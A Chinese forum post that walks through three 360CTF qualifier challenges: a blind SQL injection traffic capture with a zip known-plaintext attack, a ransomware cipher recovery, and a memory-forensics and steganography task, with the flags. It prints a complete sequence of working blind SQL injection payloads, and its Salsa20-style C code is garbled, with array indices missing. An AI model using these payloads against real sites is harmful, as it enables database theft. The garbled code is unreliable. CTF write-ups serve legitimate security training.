roger 发表于 2020-5-4 10:15:49

3CTF初赛题目详解(下)

  文章目录

[*]    8:注入真的好难!!!
[*]    9:你知道Alice的密码吗?
[*]    10:google语法真不错!!!
    8:注入真的好难!!!  题目类型:Web
  解题思路:
  过滤HTTP请求
  可以看到进行了sql盲注,采用二分法对数据库进行注入,获取数据。
  判断数据库的个数,可以看见当数据返回长度为1003时结束,由此可以对下面操作进行判断,返回最小的长度为1003的输出结果。
  经过分析:
  1、获取数据库个数
/sql/Less-8/?id=1' and ((select count(schema_name) from information_schema.schemata) > {0})%23"  共有7个数据库
  2、获取数据库长度
/sql/Less-8/?id=1' and ((select length(schema_name) from information_schema.schemata limit 0,1) > {0})%23"  第一个数据库长度18
/sql/Less-8/?id=1' and ((select length(schema_name) from information_schema.schemata limit 1,1) > {0})%23"  第二个数据库长度6
  3、获取数据库名
/sql/Less-8/?id=1' and ascii(substr((select concat(SCHEMA_NAME) from information_schema.SCHEMATA limit 0,1),{0},1))>{1} %23"  第一个数据库长度18,依次类推获得数据库ASCII,转化为information_schema
/sql/Less-8/?id=1' and ascii(substr((select concat(SCHEMA_NAME) from information_schema.SCHEMATA limit 1,1),{0},1))>{1} %23"  第二个数据库长度6,依次类推获得数据库ASCII,转化为360ctf
  4、表个数
/sql/Less-8/?id=1' and (select count(distinct+table_name) from information_schema.tables where table_schema='360ctf') >{0} %23"  共有1个表
  5、获取表长度
/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema='360ctf' limit 0,1) >{0} %23"  表长度为4
  6、获取表名
/sql/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='360ctf' limit 0,1),{0},1))>{1} %23"  表长度为4,依次类推获得数据库ASCII,转化为flag
  7、获取字段个数
/sql/Less-8/?id=1' and (select count(distinct+column_name) from information_schema.columns where table_schema='360ctf' and table_name='flag' ) >{0} %23"  获取字段数为2
  8、获取字段长度
/Less-8/?id=1' and (select length(column_name) from information_schema.columns where table_schema='360ctf' and table_name='flag' limit 0,1) >{0} %23"  第一个字段长为3,第二个字段长为6
  8、获取字段名
/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name=0x666c6167 limit 0,1),{0},1))>{1} %23"  第一个字段ASCII,转化为url,第二个字段ASCII,转化为passwd
  9、获取行数
/Less-8/?id=1' and ((select count(*) from 360ctf.flag ) > {0})%23"  行数为1行
  10、获取内容长度
/sql/Less-8/?id=1' and ((select length(url) from 360ctf.flag limit 0,1) > {0})%23"  第一个长度为13,第二个长度为5
  11、获取内容
/sql/Less-8/?id=1' and ascii(substr((select url from 360ctf.flag limit 0,1),{0},1))>{1} %23"  url为:t.cn/Ai8PhqSb
  passwd为:bkis
  访问百度云盘得到一个加密的压缩包,追踪流还发现菜刀连接的痕迹,发现存在readme.7z文件。
  通过导出HTTP请求可以发现所有的sql请求以及下载的readme.7z压缩包。
  保存readme.7z文件到本地,发现flag.zip里面也存在readme.txt,执行明文攻击。
  使用7z对readme.txt进行压缩,是的CRC32校验值和flag.zip里面的一样。
  使用ARCHPR进行明文攻击
  明文没有破解出来,但是可以使用加密秘钥进行解密操作。
  保存为flag_decrypted.zip,成功解密得到flag.txt
flag{1d0ea6a36f6aaf7fa5d4b007454227d6}    9:你知道Alice的密码吗?  Alice把一个秘密藏在了她最爱读的“4书”的文件末尾,但不幸的是这个文件被勒索病毒加密了。还好她还有一份“4书”未藏秘密前的备份,不然就连“4书”都没得看了。但这个备份是未藏秘密之前做的,你能帮Alice找回她的秘密吗?(需要提供2个文件:4书.enc、4书.备份)
  这是Alice的朋友帮她逆向得到的勒索病毒的加密部分代码:
#define R(a,b) (((a) << (b)) | ((a) >> (32 - (b))))    void crypt(uint32 out,uint32 in)    {      int i;      uint32 x;      for (i = 0;i < 16;++i)            x = in;      for (i = 20;i > 0;i -= 2) {            x[ 4] ^= R(x[ 0]+x, 7);x[ 8] ^= R(x[ 4]+x[ 0], 9);            x ^= R(x[ 8]+x[ 4],13);x[ 0] ^= R(x+x[ 8],18);            x[ 9] ^= R(x[ 5]+x[ 1], 7);x ^= R(x[ 9]+x[ 5], 9);            x[ 1] ^= R(x+x[ 9],13);x[ 5] ^= R(x[ 1]+x,18);            x ^= R(x+x[ 6], 7);x[ 2] ^= R(x+x, 9);            x[ 6] ^= R(x[ 2]+x,13);x ^= R(x[ 6]+x[ 2],18);            x[ 3] ^= R(x+x, 7);x[ 7] ^= R(x[ 3]+x, 9);            x ^= R(x[ 7]+x[ 3],13);x ^= R(x+x[ 7],18);            x[ 1] ^= R(x[ 0]+x[ 3], 7);x[ 2] ^= R(x[ 1]+x[ 0], 9);            x[ 3] ^= R(x[ 2]+x[ 1],13);x[ 0] ^= R(x[ 3]+x[ 2],18);            x[ 6] ^= R(x[ 5]+x[ 4], 7);x[ 7] ^= R(x[ 6]+x[ 5], 9);            x[ 4] ^= R(x[ 7]+x[ 6],13);x[ 5] ^= R(x[ 4]+x[ 7],18);            x ^= R(x+x[ 9], 7);x[ 8] ^= R(x+x, 9);            x[ 9] ^= R(x[ 8]+x,13);x ^= R(x[ 9]+x[ 8],18);            x ^= R(x+x, 7);x ^= R(x+x, 9);            x ^= R(x+x,13);x ^= R(x+x,18);      }      for (i = 0;i < 16;++i)            out = x + in;    }  题目类型:加密破解
  解题思路:
  1.对比备份“4书”和被加密的“4书”,可以猜到加密不改变文件长度,以及秘密长度。
  2.分析加密算法,找到算法缺陷。
  3.发现缺陷:只要已知4MB明文,可以恢复其余密文。
  4.设计算法解密:
  5.解密得到全部明文。
  6.在文件尾部找到秘密。
  答案:=&360CTF{^o^yoYo_y0u_g@t_tHe_Salsa_seCrEt~!!}
    10:google语法真不错!!!  题目类型:取证
  解题思路:
  volatility -f xp.raw imageinfo//识别系统
  volatility -f xp.raw –profile=WinXPSP2x86 pslist   //查看进程
  存在cmd、ie等进程。
  volatility -f xp.raw –profile=WinXPSP2x86 cmdscan//cmd历史命令
  执行了6条命令,乱码应该是桌面
  volatility -f xp.raw –profile=WinXPSP2x86 filescan | grep 桌面 //查看桌面
  存在桌面jpg文件
  volatility -f xp.raw –profile=WinXPSP2x86 dumpfiles -D ./ -Q 0x000000000215f340   //保存文件出来
  保存360.jpg文件到本地
  volatility -f xp.raw –profile=WinXPSP2x86 iehistory//ie历史记录
  发现搜索了github以及Syst2m,进行google搜索,发现Syst2m的一个github
  https://github.com/Syst2m/360CTF,存在一个360CTF的仓库。
  通过查看commits和release发现为F5图片隐写。
  F5隐写
java Extract ../360.jpg -p 360CTFisSOeasy  生成output.txt
flag{0b9c9fc7d19a072ee23cf10729338041}  如果你想展示你的CTF能力,我们提供给你机会,平台近期开始向社会征集CTF题目,题目类型不限制,奖励丰厚,有想法的大佬可以联系
  university@360.cn。

页: [1]
查看完整版本: 3CTF初赛题目详解(下)